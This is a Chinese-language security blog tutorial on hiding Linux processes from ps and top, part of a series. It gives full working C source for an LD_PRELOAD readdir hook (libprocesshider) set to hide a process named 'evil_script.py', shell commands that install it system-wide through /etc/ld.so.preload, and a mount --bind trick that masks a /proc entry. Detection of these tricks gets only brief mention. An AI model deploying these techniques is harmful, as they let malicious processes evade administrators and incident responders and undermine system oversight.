前言
上篇介绍了如何在有源码的情况下，通过 argv[] 及 prctl 对进程名及参数进行修改，整篇围绕/proc/pid/目录和 ps、top 命令进行分析，做到了初步隐藏，即修改了 /proc/pid/stat 、/proc/pid/status 、/proc/pid/cmdline 这些文件的信息，使得 ps、top 命令显示了虚假的进程信息；但是还存在一些**缺点**：
1.ps、top 命令还是显示了真实的 pid 2./proc/pid 目录依然存在，/proc/pid/exe 及/proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称
所以，为了解决以上缺陷，本篇将介绍以下几种方式对进程进行隐藏
1. 应用层下 hook 函数调用 2. 挂载覆盖/proc/pid 目录
PS/TOP 命令工作原理
我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理，strace 命令是一个常用的代码调试工具，它可以跟踪到一个进程产生的系统调用, 包括参数，返回值，执行消耗的时间。
实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic
命令 strace ps 部分显示结果
stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328
close(6) = 0
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
read(6, "00000000,00000000,00000000,00000"..., 1024) = 311
close(6) = 0
stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150
close(6) = 0
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978
close(6) = 0
stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151
close(6) = 0
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969
close(6) = 0
命令 strace top 部分显示结果
openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9
read(9, "4679 473 371 263 0 127 0\n", 2048) = 25
close(9) = 0
openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9
read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362
close(9) = 0
stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9
read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322
close(9) = 0
openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9
read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26
close(9)
从上面的结果我们可以看出，ps/top 命令就是在不断的读取/proc/pid 下的文件信息，再显示出来给我看；
一般先调用 stat() 确认文件状态，再调用 openat() 打开文件句柄，然后 read() 读取内容，最后 close() 关闭；不断重复这一系列动作从而获取进程信息；
当然这些都是系统调用，并不是 ps 源码中直接调用的，ps 源码直接调用的函数其实是opendir以及readdir，readdir 内部再进行以上这些系统调用。
top 命令的原理与 ps 类似，这里不多介绍，下面进入正题
一、应用层下 hook 函数调用实现隐藏
我们这里所要 hook 的对象当然就是readdir函数了
这里有两个问题：
1.readdir 函数在哪？
2. 如何 hook？
[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html] 在头文件 dirent.h 中声明
头文件：#include <sys/types.h>
#include <dirent.h>
定义：struct dirent * readdir(DIR * dir);
函数说明：readdir() 返回参数 dir 目录流的下个目录进入点。结构 dirent 定义如下：
struct dirent
{
ino_t d_ino; //d_ino 此目录进入点的 inode
ff_t d_off; //d_off 目录文件开头至此目录进入点的位移
signed short int d_reclen; //d_reclen _name 的长度, 不包含 NULL 字符
unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名
har d_name[256];
};
返回值：成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回 NULL.
如何 hook?
我们这里使用的是 ld_preload 技术，关于此技术可以看我另一篇文章，这里不多介绍
接下来我们正式编写 hook 函数，先以伪代码进行介绍
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/* 这里声明一个函数指针，用来存储 readdir 函数原始调用 */
static struct dirent* (*original_readdir)(DIR*) = NULL;
/* 这里是我们伪造的 readdir 函数，由于我们的 so 库最早被调用，所以 ps 程序调用 readdir 函数时也就调用了我们的同名函数*/
struct dirent* readdir(DIR *dirp)
{
/* 使用 dlsym 函数获取 readdir 真正的入口 */
if(original_readdir == NULL)
original_readdir = dlsym(RTLD_NEXT, readdir);
struct dirent* dir;
/* 这里循环调用原始 readdir 函数 */
while(1)
{
dir = original_readdir(dirp);
// 判断是否为特定的进程名
process_name = get_process_name(dir);
if(process_name=="123456"){
//是，则继续循环，这样就相当于跳过了特定的进程，不打印信息
continue；
}
break;
}
return dir;
}
整个流程非常简单，这里引用一段完整的代码：[github][https://github.com/gianlucaborello/libprocesshider]
修改 process_to_filter 变量为要隐藏的进程即可
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
以上代码非常巧妙的运用了宏定义函数以及 # 号的用法，使得少了很多代码量，同时定义了 64 位版本的 readdir64 以及 readdir 函数。
编译成动态链接库测试
$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl $ mv libprocesshider.so /usr/local/lib/ $ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
这样一来，ps top 命令就找不到进程的任何踪迹了！
优缺点
优点：相较于通过 argv[] 及 prctl 对进程名及参数进行修改，这种方法彻底隐藏了 ps、top 中进程的信息，看不到 pid
缺点：proc 目录下还是会存在我们进程的 pid 目录
二、挂载覆盖/proc/pid 目录
利用 mount—bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录，我们知道 ps、top 等工具会读取/proc 目录下获取进程信息，如果将进程 ID 的目录信息覆盖，则原来的进程信息将从 ps 的输出结果中隐匿。
例如隐藏进程 id 为 42 的进程信息：
mount -o bind /empty/dir /proc/42
优缺点：
缺点比较明显
cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount—bind 将其他目录或文件挂载至/proc 下的进程目录
三、总结
hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息，隐蔽性还是不够，如果结合 argv[] 及 prctl 一起使用，也还有明显的缺点：
1、存在 proc/pid 目录，防御方利用别的方法遍历一下 pid，与 ps 进行对比即可知道哪些是隐藏进程 2、/proc/pid/exe 以及 /proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称
Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术——在内核中对进程进行彻底隐藏。
猜你还喜欢
- 08-04最全的webshell提权资料
- 09-16Linux后门整理合集
- 09-10实战Linux下三种不同方式的提权技巧
- 09-24Windows内网渗透提权的几个实用命令
- 08-03内网渗透：利用WMI代替psexec（WMIEXEC.vbs）
- 02-13ADB配置提权漏洞（CVE-2017-13212）原理与利用分析
- 11-16星外虚拟主机跨web目录文件读取技巧
- 06-05基于bro的计算机入侵取证实战分析
- 09-21渗透技巧——Windows单条日志的删除
- 08-03详解Filezilla提权
- 最新文章
- 随机文章
-
- 代码自动化扫描系统的建设（上）
- 渗透技巧——Windows单条日志的删除
- 技术讨论 | 如何对经前端加密后的数据进行爆破
- Windows任务计划程序被曝存在0day漏洞
- 伪造电子邮件以及制造电子邮件炸弹的攻防探讨
- RichFaces反序列化漏洞
- 中秋国庆的火车票，你抢到了吗？揭露黄牛背后那些事
- 美国投票系统早已千疮百孔，十分钟内竟被11岁少年攻破
- 学霸搞黑产惊动教育圈，涉案金额高达6个亿
- Linux应急响应（二）：捕捉短连接
- 技术讨论 | 自动化Web渗透Payload提取技术
- 微软漏洞CVE-2017-11885分析与利用
- 浅谈PHP安全规范
- 前端安全系列（一）：如何防止XSS攻击？
- DNS后门及其检测
- 安卓手机搭建渗透环境（无需Root）
- Struts2 漏洞exp从零分析
- 开启Wi-Fi就会泄漏身份信息，还有这种骚操作？
- Git Submodule 漏洞(CVE-2018-17456)分析
- 无字母数字Webshell之提高篇
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇：网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入（有POC证明）
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的？
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布（含详细说明）
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-